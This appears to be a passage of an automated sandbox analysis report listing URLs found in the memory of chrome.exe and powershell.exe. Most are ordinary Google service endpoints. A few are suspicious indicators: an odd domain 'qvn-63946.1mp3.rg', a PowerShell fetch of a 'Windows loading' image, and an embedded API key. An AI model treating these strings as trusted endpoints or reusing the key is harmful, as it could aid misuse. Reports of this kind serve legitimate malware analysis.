Source: chrome.exe, 00000009.00000002.4156853100.0000454400E14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4148162493.00004544002D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4156897952.0000454400E20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1826730305.00004544009E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049402&target=OPTIMIZATION_TARGET_GEO
Source: chrome.exe, 00000009.00000002.4156853100.0000454400E14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4148162493.00004544002D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049414&target=OPTIMIZATION_TARGET_NOT
Source: chrome.exe, 00000009.00000002.4156853100.0000454400E14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4156897952.0000454400E20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1826730305.00004544009E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695051229&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000009.00000002.4156024381.0000454400D24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4157824364.0000454400EE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4157039998.0000454400E2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4155306762.0000454400C4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2099524935.0000454402C9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1730127919&target=OPTIMIZATION_TARGET_GEO
Source: chrome.exe, 00000009.00000002.4156024381.0000454400D24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4148162493.00004544002D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4157039998.0000454400E2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4160968624.00004544015C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4155306762.0000454400C4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1730127962&target=OPTIMIZATION_TARGET_NOT
Source: chrome.exe, 00000009.00000002.4155782211.0000454400CD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4157824364.0000454400EEF000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4159582181.0000454401069000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4157824364.0000454400EE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4157039998.0000454400E2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4155306762.0000454400C4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4167236763.0000454402C9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1730214257&target=OPTIMIZATION_TARGET_CLI
Source: chrome.exe, 00000009.00000002.4153464742.0000454400AD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4156853100.0000454400E14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4156897952.0000454400E20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1826730305.00004544009E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=210230727&target=OPTIMIZATION_TARGET_CLIE
Source: chrome.exe, 00000009.00000002.4153464742.0000454400AD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4156853100.0000454400E14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4156897952.0000454400E20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1826730305.00004544009E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=4&target=OPTIMIZATION_TARGET_PAGE_TOPICS_
Source: chrome.exe, 00000009.00000002.4158898065.0000454400F8C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4159582181.0000454401069000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4157824364.0000454400EE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4157039998.0000454400E2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4156209328.0000454400D58000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4160968624.00004544015C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4155306762.0000454400C4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4160922640.00004544015BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=5&target=OPTIMIZATION_TARGET_PAGE_TOPICS_
Source: chrome.exe, 00000009.00000002.4149233113.00004544004B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/v1:GetHints
Source: chrome.exe, 00000009.00000002.4152660899.0000454400A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/v1:GetModels?key=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Source: chrome.exe, 00000009.00000002.4149760334.00004544005D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleas.
Source: chrome.exe, 00000009.00000003.2692125113.0000454402648000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4155553685.0000454400C98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4167414238.0000454402CAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true&authuser=0
Source: chrome.exe, 00000009.00000002.4156457638.0000454400D84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://qvn-63946.1mp3.rg
Source: chrome.exe, 00000009.00000002.4156024381.0000454400D24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redirector.gvt1.com/edgedl/release2/chrome_component/AMpg5-cnrANo_2018.8.8.0/2018.8.8.0_win6
Source: chrome.exe, 00000009.00000002.4146632234.000045440008F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing
Source: chrome.exe, 00000009.00000002.4147723354.00004544001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://securitydomain-pa.googleapis.com/v1/
Source: chrome.exe, 00000009.00000002.4149233113.00004544004B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4151016923.0000454400794000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4151066342.00004544007C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000009.00000002.4149233113.00004544004B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actionsactions
Source: chrome.exe, 00000009.00000002.4151016923.0000454400794000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4151066342.00004544007C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actionsactionsA
Source: chrome.exe, 00000009.00000003.2366269573.0000454402DD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2431428261.00004544024E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2365343002.0000454402B9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: chrome.exe, 00000009.00000002.4150671322.0000454400720000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4156070343.0000454400D34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4167414238.0000454402CAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4161460453.00004544017C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4152067238.0000454400964000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com/images/branding/product/1x/drive_2020q4_32dp.png
Source: chrome.exe, 00000009.00000002.4156070343.0000454400D34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com/images/branding/product/1x/drive_2020q4_32dp.pngp3ed_termED
Source: chrome.exe, 00000009.00000003.2366269573.0000454402DD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.google.com/inapp/
Source: chrome.exe, 00000009.00000003.1975339052.0000454400EEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: chrome.exe, 00000009.00000003.1975339052.0000454400EEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: chrome.exe, 00000009.00000003.1975339052.0000454400EEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: chrome.exe, 00000009.00000003.1975339052.0000454400EEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: chrome.exe, 00000009.00000002.4147723354.00004544001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tasks.googleapis.com/
Source: chrome.exe, 00000009.00000003.2366269573.0000454402DD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://translate.google.com/translate_a/element.js
Source: chrome.exe, 00000009.00000003.2431607456.00004544024E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2431475153.0000454402B9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2366269573.0000454402DD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://translate.googleapis.com/_/translate_http/_/js/
Source: chrome.exe, 00000009.00000003.2366269573.0000454402DD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://translate.googleapis.com/_/translate_http/_/js/;report-uri
Source: chrome.exe, 00000009.00000002.4159877710.00004544011C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://update.googleapis.com/service/update2/json
Source: chrome.exe, 00000009.00000003.2421893732.0000454400354000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2421893732.0000454400357000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4153020212.0000454400A54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4149898941.0000454400618000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://update.googleapis.com/service/update2/json?cup2key=13:RinkqDW62QRvZarcaIuX4enbgt8q4NtDA8Hi68
Source: chrome.exe, 00000009.00000002.4159877710.00004544011C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://update.googleapis.com/service/update2/jsonDE
Source: powershell.exe, 00000003.00000002.1773602894.0000000009126000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1773602894.0000000008D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://upload.wikimedia.org
Source: powershell.exe, 00000003.00000002.1759728113.00000000043C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://upload.wikimedia.org/wikipedia/commons/3/3f/Windows-loading-cargando.gif
Source: chrome.exe, 00000009.00000003.2582039999.0000454400C28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1986377459.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2365428270.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2431675830.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1846552649.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2264567148.0000454400C28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2256163346.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2070729831.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2450057532.0000454400C28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1828574602.0000454400C28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2366576736.0000454400C28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1890362176.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2231263427.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4155212155.0000454400C28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2235752970.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1820630621.0000454400C28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=
Source: chrome.exe, 00000009.00000003.2582039999.0000454400C28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1986377459.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2365428270.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2431675830.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1846552649.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2264567148.0000454400C28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2256163346.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2070729831.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2450057532.0000454400C28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1828574602.0000454400C28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2366576736.0000454400C28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1890362176.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2231263427.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4155212155.0000454400C28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2235752970.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1820630621.0000454400C28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearch
Source: chrome.exe, 00000009.00000003.2582039999.0000454400C28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1986377459.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2365428270.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2431675830.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1846552649.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2264567148.0000454400C28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2256163346.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2070729831.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2450057532.0000454400C28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1828574602.0000454400C28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2366576736.0000454400C28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1890362176.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2231263427.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4155212155.0000454400C28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2235752970.0000454400C24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1820630621.0000454400C28000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearchn=opensearch
Source: chrome.exe, 00000009.00000003.2366269573.0000454402DD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2365343002.0000454402B9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com
Source: chrome.exe, 00000009.00000003.2366269573.0000454402DD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com/analytics.js
Source: chrome.exe, 00000009.00000003.2431475153.0000454402B9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2431428261.00004544024E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2365343002.0000454402B9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: chrome.exe, 00000009.00000003.2366269573.0000454402DD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4148628828.0000454400320000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2431428261.00004544024E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2365343002.0000454402B9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: chrome.exe, 00000009.00000003.1814676673.0000454400490000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2431968400.00004544024A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2211952830.0000454400CD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4150121127.0000454400670000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4150263647.00004544006B8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: chrome.exe, 00000009.00000002.4151951686.0000454400938000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4147723354.00004544001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4151066342.00004544007C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/
Source: chrome.exe, 00000009.00000002.4151951686.0000454400938000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4147723354.00004544001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4151066342.00004544007C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/tips/gs
Source: chrome.exe, 00000009.00000002.4147142270.00004544000FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/dl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjhkYWYwZDctOTExOS00MGQ5LTg
Source: chrome.exe, 00000009.00000002.4155161625.0000454400C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/dl/release2/chrome_component/V3P1l2hLvLw_7/7_all_sslErrorAssistant.crx3
Source: chrome.exe, 00000009.00000002.4155161625.0000454400C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/dl/release2/chrome_component/V3P1l2hLvLw_7/7_all_sslErrorAssistant.crx3ED
Source: chrome.exe, 00000009.00000002.4152660899.0000454400A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/dl/release2/chrome_component/ac6mhlwypzipnufijdvfyhdgvt4q_67/khaoiebndkojlmpp
Source: chrome.exe, 00000009.00000002.4147142270.00004544000FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/dl/release2/chrome_component/acaldksiunzh56452py2db5mnbpa_120.0.6050.0/jamhcn
Source: chrome.exe, 00000009.00000002.4147142270.00004544000FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/dl/release2/chrome_component/acccxbt6wwsvpxzpob4hojndwkqq_4.10.2830.0/oimompe
Source: chrome.exe, 00000009.00000002.4147142270.00004544000FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/dl/release2/chrome_component/achxmmt7qgmyk2fotgoxxczwpitq_1169/efniojlnjndmcb
Source: chrome.exe, 00000009.00000002.4147142270.00004544000FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/dl/release2/chrome_component/acy5mdne3lup4k7xyd5szdvx6hqa_477/lmelglejhemejgi
Source: chrome.exe, 00000009.00000002.4147142270.00004544000FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4157297710.0000454400E60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/dl/release2/chrome_component/adm5fg7myczym5ugfpmw2lireirq_2024.11.8.0/gonpemd
Source: chrome.exe, 00000009.00000002.4156457638.0000454400D84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/dl/release2/chrome_component/adrga7eefaxjfdmmgfkiaxjg4yjq_2024.7.12.235938/ee
Source: chrome.exe, 00000009.00000002.4147142270.00004544000FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/dl/release2/chrome_component/adxykdjjr6wfc33pz3yeucqn45ya_9411/hfnkpimlhhgiea
Source: chrome.exe, 00000009.00000002.4163956604.000045440241C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/dl/release2/chrome_component/cpx7rw4q3nwu7emczqf2w6cu7y_2023.3.30.1305/cocnca
Source: chrome.exe, 00000009.00000002.4152660899.0000454400A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/dl/release2/chrome_component/eoxvpqsyhqbmcsgpe27edattly_3057/jflookgnkcckhoba
Source: chrome.exe, 00000009.00000002.4147142270.00004544000FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/dl/release2/chrome_component/imoffpf67hel7kbknqflao2oo4_1.0.2738.0/neifaoindg
Source: chrome.exe, 00000009.00000002.4149143973.0000454400478000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4149326858.00004544004E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4149760334.00004544005D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4154921488.0000454400BB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chrome.exe, 00000009.00000002.4154921488.0000454400BB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.icoED
Source: chrome.exe, 00000009.00000002.4149143973.0000454400478000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.icoenterInsightsDE
Source: chrome.exe, 00000009.00000003.2366269573.0000454402DD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/js/bg/
Source: chrome.exe, 00000009.00000003.2431607456.00004544024E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/api.js
Source: chrome.exe, 00000009.00000003.1827039062.00004544002A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/speech-api/v2/synthesize?
Source: chrome.exe, 00000009.00000003.2366269573.0000454402DD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/tools/feedback/
Source: chrome.exe, 00000009.00000003.2366269573.0000454402DD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/tools/feedback/chat_load.js
Source: chrome.exe, 00000009.00000002.4149233113.00004544004B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/tools/feedback/chrome/__submit
Source: chrome.exe, 00000009.00000003.2366269573.0000454402DD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/tools/feedback/help_api.js
Source: chrome.exe, 00000009.00000003.2366269573.0000454402DD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/tools/feedback/load.js
Source: chrome.exe, 00000009.00000003.2366269573.0000454402DD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/tools/feedback/open.js
Source: chrome.exe, 00000009.00000003.2366269573.0000454402DD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/tools/feedback/open_to_help_guide_lazy.js
Source: chrome.exe, 00000009.00000002.4147818165.000045440020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v1/userinfo
Source: chrome.exe, 00000009.00000002.4147818165.000045440020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v2/tokeninfo
Source: chrome.exe, 00000009.00000002.4147818165.000045440020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v4/token
Source: chrome.exe, 00000009.00000002.4147818165.000045440020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/reauth/v1beta/users/
Source: chrome.exe, 00000009.00000003.2366269573.0000454402DD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2431428261.00004544024E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2365343002.0000454402B9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: chrome.exe, 00000009.00000003.2366269573.0000454402DD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com/gtag/destination
Source: chrome.exe, 00000009.00000003.2366269573.0000454402DD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com/gtag/js
Source: chrome.exe, 00000009.00000003.2366269573.0000454402DD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2431428261.00004544024E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2365343002.0000454402B9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: chrome.exe, 00000009.00000002.4149143973.0000454400478000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4150542727.0000454400715000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4159092232.0000454400FC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/
Source: chrome.exe, 00000009.00000002.4147330169.000045440014C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4146252892.000045440001C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4153020212.0000454400A54000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/_/apps-fileview/_/js/k=apps-fileview.v.en.6A8Xl22W-fQ.O/am=MBg/d=0/rs=AO0039
Source: chrome.exe, 00000009.00000002.4147064690.00004544000EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/_/apps-fileview/_/js/k=apps-fileview.v.en.6A8Xl22W-fQ.O/am=MBg/d=1/rs=AO0039
Source: chrome.exe, 00000009.00000003.2366269573.0000454402DD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/_/mss/boq-drive/_/js/k=boq-drive.DriveShareDialogUi.en_US._ImxXRkqiEI.es5.O/
Source: chrome.exe, 00000009.00000003.2431607456.00004544024E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.r1rg6QgmKXQ.es
Source: chrome.exe, 00000009.00000003.2366269573.0000454402DD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/_/mss/boq-one-google/_/
Source: chrome.exe, 00000009.00000002.4149233113.00004544004B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4151016923.0000454400794000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/intelligence/assist/ranker/models/translate/2017/03/translate_ranker_
Source: chrome.exe, 00000009.00000003.2366269573.0000454402DD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/feedback/js/ghelp/
